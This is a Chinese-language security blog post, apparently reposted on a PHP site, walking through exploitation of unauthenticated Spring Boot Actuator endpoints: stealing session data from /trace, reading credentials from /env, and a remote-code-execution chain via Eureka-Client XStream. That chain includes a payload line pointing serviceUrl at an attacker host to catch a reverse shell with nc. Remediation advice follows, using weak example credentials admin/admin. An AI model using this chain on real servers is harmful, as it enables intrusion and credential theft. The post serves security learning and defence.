目錄
漏洞修復
首頁 運維 安全 Spring Boot Actuator從未授權存取getshell的範例分析

Spring Boot Actuator從未授權存取getshell的範例分析

May 23, 2023 am 08:56 AM
spring boot actuator getshell

前言

部門大佬在某src上挖到了這個漏洞,是一個比較老的洞了,我覺得有點意思,就動手在本地搭了個環境測試一下。

Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模組,借助於 Actuator 開發者可以很方便地對應用系統某些監控指標進行查看、統計等。在 Actuator 啟用的情況下,如果沒有做好相關權限控制,非法使用者可透過存取預設的執行器端點(endpoints)來獲取應用系統中的監控信息,從而導致資訊外洩甚至伺服器被接管的事件發生。

Actuator是Spring Boot提供的功能模組,它可以用於自省和監控應用程式系統。 The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:

Spring Boot Actuator从未授权访问到getshell的示例分析









Spring Boot Actuator从未授权访问到getshell的示例分析


Spring Boot Actuator从未授权访问到getshell的示例分析


Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

'

#利用env加refresh進行getshell

Spring Boot Actuator从未授权访问到getshell的示例分析

#利用mappings,尋找未授權介面

利用trace,取得認證資訊(Cookie、tooken、Session),利用認證資訊存取介面。

Spring Boot Actuator从未授权访问到getshell的示例分析

env有可能洩漏的資料庫帳號密碼(mangodb),當然得開放外網,可能性較小。

Spring Boot Actuator从未授权访问到getshell的示例分析

老外說可以執行sql語句,目前沒搞明白

#########漏洞發現####### ##通常識別目前web 應用程式使用的框架為springboot 框架。主要有兩個方法判斷:############透過web 應用程式網頁標籤的圖示(favicon.ico);如果web 應用程式開發者沒有修改springboot web 應用程式的預設圖標,那麼進入應用程式首頁後面可以看到如下預設的綠色小圖示:###############################透過springboot 框架預設報錯頁面;如果web 應用程式開發者沒有修改springboot web 應用程式的預設4xx、5xx 報錯頁面,那麼當web 應用程式出現4xx、5xx 錯誤時,會報錯如下(此處僅以404 報錯頁面為例):存取一個隨便建構的路徑,例如:http:/172.26.2.24:8090/index,出現如下報錯頁面說明web網站使用了springboot框架(在實際中遇到的大多數都是此類情況)。 ########################是綜合以上兩個途徑來判斷目前web 應用程式是否為springboot 框架,就是透過存取不同的目錄,看是否有小綠葉圖標,然後就是想辦法在不同目錄下觸發應用程式的4xx 或5xx 錯誤,看是否有Whitelabel Error Page 報錯。 ######漏洞利用#########存取/trace端點取得基本的 HTTP 請求追蹤資訊(時間戳記、HTTP 頭等),如果有登入使用者的操作請求,可以偽造cookie進行登入。 ###############訪問/env端點取得全部環境屬性,由於actuator 會監控網站mysql、mangodb 之類的資料庫服務,所以透過監控資訊有時可以mysql、mangodb 資料庫信息,如果資料庫剛好開放在公網,那麼造成的危害是巨大的,###############/env端點配置不當造成RCE,######前置條件:Eureka -Client <1.8.7(多見於Spring Cloud Netflix)######例如測試前台json報錯洩漏包名就是使用netflix###############需要以下兩個套件######spring-boot-starter-actuator(/refresh刷新設定需要)######spring-cloud-starter-netflix-eureka-client(功能依賴)######利用python3啟動腳本,需要注意兩個地方,一個為接收shell的ip和端口,另一個為我們腳本啟動的端口,####################### #Nc監聽一個連接埠用以接收反彈shell,######寫入配置,存取/env端點,抓包將get請求改為post請求,post內容為(該ip為腳本啟動的機器的ip) :###

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

然後再造訪/refresh,抓包將get請求更改為post請求,post資料隨意,

Spring Boot Actuator从未授权访问到getshell的示例分析

然後在我們nc的視窗可以看到成功反彈了一個shell回來。

Spring Boot Actuator从未授权访问到getshell的示例分析

漏洞修復

身為安全dog,不能只挖不修,在專案的pom.xml檔案下引入spring-boot -starter-security依賴

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator从未授权访问到getshell的示例分析"></p>
<p>然後在application.properties中開啟security功能,設定存取帳號密碼,重新啟動應用程式即可彈出。 </p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin
登入後複製

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

停用接口,則可設定如下(如停用env介面):

endpoints.env.enabled = false

問題

老外說可以執行sql語句發現執行不了,可能方法沒用對,截了個他的圖,希望有執行成功的大佬分享下。

Spring Boot Actuator从未授权访问到getshell的示例分析

在實際環境中,發現很多無refresh ,導致無法執行指令目前還沒突破

以上是Spring Boot Actuator從未授權存取getshell的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

Spring Boot+MyBatis+Atomikos+MySQL(附源碼) Spring Boot+MyBatis+Atomikos+MySQL(附源碼) Aug 15, 2023 pm 04:12 PM

我們在實際專案中,盡量規避分散式事務。但是,有些時候是真的需要做一些服務拆分從而會引出分散式事務問題。同時,分散式事務也是面試中市場被問到,可以拿著這個案例練練手,面試就可以說上個123了。

如何使用Spring Boot建立大數據處理應用 如何使用Spring Boot建立大數據處理應用 Jun 23, 2023 am 09:07 AM

隨著大數據時代的到來,越來越多的企業開始了解並認識到大數據的價值,並將其運用到商業中。而隨之而來的問題就是如何處理這些大流量的數據。在這種情況下,大數據處理應用程式成為了每個企業必須考慮的事情。而對於開發人員而言,如何使用SpringBoot建立一個高效的大數據處理應用程式也是一個非常重要的問題。 SpringBoot是一個非常流行的Java框架,它可以讓

透過Spring Boot實現多語言支援和國際化應用 透過Spring Boot實現多語言支援和國際化應用 Jun 23, 2023 am 09:09 AM

隨著全球化的發展,越來越多的網站和應用需要提供多語言支援和國際化功能。對於開發人員而言,實現這些功能並不是一件容易的事情,因為它需要考慮許多方面的問題,例如語言的翻譯、日期、時間和貨幣格式等等。但是,使用SpringBoot框架,我們可以輕鬆實現多語言支援和國際化應用。首先,讓我們來了解一下SpringBoot提供的LocaleResolver介面。 Loc

如何利用Spring Boot建立區塊鏈應用和智慧合約 如何利用Spring Boot建立區塊鏈應用和智慧合約 Jun 22, 2023 am 09:33 AM

隨著比特幣等數位貨幣的興起,區塊鏈技術也逐漸成為熱門話題。而智能合約,則可視為區塊鏈技術的重要組成部分。 SpringBoot作為一種流行的Java後端開發框架,也能夠用來建立區塊鏈應用和智慧合約。本文將介紹如何利用SpringBoot來建構基於區塊鏈技術的應用與智慧合約。一、SpringBoot與區塊鏈首先,我們需要了解一些與區塊鏈相關的基本概念。區塊鏈

基於Spring Boot和MyBatis Plus實作ORM映射 基於Spring Boot和MyBatis Plus實作ORM映射 Jun 22, 2023 pm 09:27 PM

在Javaweb應用程式開發過程中,ORM(Object-RelationalMapping)映射技術用來將資料庫中的關係型資料對應到Java物件中,方便開發者進行資料存取與操作。 SpringBoot作為目前最受歡迎的Javaweb開發框架之一,已經提供了整合MyBatis的方式,而MyBatisPlus則是在MyBatis的基礎上擴展的一種ORM框架。

Spring Boot與NoSQL資料庫的整合使用 Spring Boot與NoSQL資料庫的整合使用 Jun 22, 2023 pm 10:34 PM

隨著網路的發展,大數據分析和即時資訊處理成為了企業的重要需求。為了滿足這樣的需求,傳統的關係型資料庫已經不再滿足業務和技術發展的需要。相反,使用NoSQL資料庫已經成為了一個重要的選擇。在這篇文章中,我們將討論SpringBoot與NoSQL資料庫的整合使用,以實現現代應用程式的開發和部署。什麼是NoSQL資料庫?NoSQL是notonlySQL

使用Spring Boot和Apache ServiceMix建置ESB系統 使用Spring Boot和Apache ServiceMix建置ESB系統 Jun 22, 2023 pm 12:30 PM

隨著現代企業越來越依賴各種不同的應用程式和系統,企業整合變得愈發重要。企業服務匯流排(ESB)就是一種整合架構模式,透過將不同系統和應用程式連接在一起,提供通用的資料交換和訊息路由服務,從而實現企業級應用程式整合。使用SpringBoot和ApacheServiceMix,我們可以輕鬆建立一個ESB系統,這篇文章將介紹如何實作。 SpringBoot和A

Spring Boot的任務排程與定時任務實作方法 Spring Boot的任務排程與定時任務實作方法 Jun 22, 2023 pm 11:58 PM

SpringBoot是一款非常受歡迎的Java開發框架,不僅具有快速開發的優勢,而且還內建了許多實用的功能,其中,任務調度和定時任務就是其常用的功能之一。本文將探討SpringBoot的任務調度和定時任務實現方法。一、SpringBoot任務調度簡介SpringBoot任務調度(TaskScheduling)是指在特定的時間點或某個條件下,執行一些特

See all articles